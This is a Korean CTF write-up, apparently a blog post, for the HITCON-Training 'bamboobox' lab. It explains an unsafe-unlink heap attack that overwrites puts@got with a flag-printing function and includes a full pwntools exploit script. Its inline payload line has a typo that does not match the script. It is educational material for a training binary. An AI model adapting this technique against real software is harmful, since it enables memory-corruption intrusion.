상세 컨텐츠

본문 제목

[HITCON-Training] lab11 bamboobox (unsafe unlink)

SYSTEM HACKING/CTF, etc

by koharin 2020. 2. 28. 17:24

본문

728x90
반응형

# Protection Tech

 


# process

 

 

Flag 출력해주는 magic 함수로 이동하는 것이 목표

 

초기 heap 상태.

0x20 사이즈의 청크로 데이터 영역에 hello_message와 goodbye_message에 대한 주소가 담겨있다.

 

 

 

 

bss 영역에는 itemlist라는 전역변수가 있는데, heap을 추가할 때마다 itemlist에 해당 주소를 저장한다.

따라서 여기에 heap 주소가 아닌 got 주소로 바꿀 수 있다.

 

1) 3개의 heap 할당

 

2) 2번째 청크에 fake chunk 생성

- unsafe unlink

- fd에 공격대상주소-0x18, bk에 공격대상주소 - 0x10을 넣는다.

- 3번 청크에 prev_size는 fake chunk 크기(헤더 포함이므로 0x20), size는 prev_use 비트를 제거해 0x90으로 바꾼다.

- change 함수에서 2번 청크의 데이터를 수정해 payload 전달

- 공격대상주소 : itemlist + 0x18 (2번 청크 주소)

 

payload = p64(0) + p64(0) + p64(itemlist+0x18 - 0x18) + p64(itemlist + 0x18 - 0x100
 + p64(0x20) + p64(0x90)

 

 

3) 3번 청크 제거

- Itemlist[1](2번째 청크 주소 저장하는 bss)가 itemlist로 바뀐다.

 

 

4) 2번 청크 edit

- 그럼 2번 청크 데이터 값 수정 시 0x6020c0 주소 영역의 값을 수정하게 되는 것이다.

- 1번 청크의 주소를 puts@got로 바꾸고 싶은 것이므로 8바이트의 더미를 준 후 puts@got를 데이터로 준다.

- Itemlist 첫 번째 주소를 puts got로 바꾸면 1번째 청크 edit puts got에 값을 넣을 수 있게 된다.

 

 

 

5) 1번 청크 edit

- 1번 청크 데이터 값 edit 시 0x602020의 영역이 실질적으로 수정되므로 이때 magic 주소를 주면 puts@got가 magic으로 덮힌다.

 

 

 

puts@got에 magic 주소가 덮힌 것 확인 가능하다.

 

이제 puts 함수가 호출될 때 magic이 실행되어서 flag가 출력될 수 있다.

 


# exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

context.log_level = 'debug'
p = process("./bamboobox")
#gdb.attach(p)
elf = ELF("./bamboobox")
puts_got = elf.got['puts']
magic = 0x400d49
itemlist = 0x6020c0

def show():
    p.sendlineafter("Your choice:", '1')

def add(length, name):
    p.sendlineafter("Your choice:", '2')
    p.sendlineafter("length of item name:", str(length))
    p.sendlineafter("Please enter the name of item:", name)

def change(index, length, name):
    p.sendlineafter("Your choice:", '3')
    p.sendlineafter("index of item:", str(index))
    p.sendlineafter("length of item name:", str(length))
    p.sendafter("name of the item:", name)

def remove(index):
    p.sendlineafter("Your choice:", '4')
    p.sendlineafter("index of item:", str(index))

add(0x20, 'AAAA')
add(0x20, 'BBBB')
add(0x80, 'CCCC')

gdb.attach(p)

# itemlist[1]-0x18, itemlist[1]-0x10
pay = p64(0) + p64(0) + p64(itemlist+0x18-0x18) + p64(itemlist+0x18-0x10)
pay += p64(0x20) + p64(0x90) # itemlist[2] prevsize, size
change(1, len(pay), pay)


remove(2)

change(1, 0x10, 'a'*8 + p64(puts_got))

change(0, 0x8, p64(magic))

p.interactive()

 

728x90
반응형

'SYSTEM HACKING > CTF, etc' 카테고리의 다른 글

[33c3 CTF] babyfengshui (Heap Feng Shui)  (0) 2020.02.28
baby_heap_1 (unsorted bin attack)  (0) 2020.02.28
[Codegate 2018] Super Marimo  (0) 2020.02.09
[picoCTF 2018] echo back  (0) 2020.02.07
[picoCTF 2018] authenticate  (0) 2020.01.31

관련글 더보기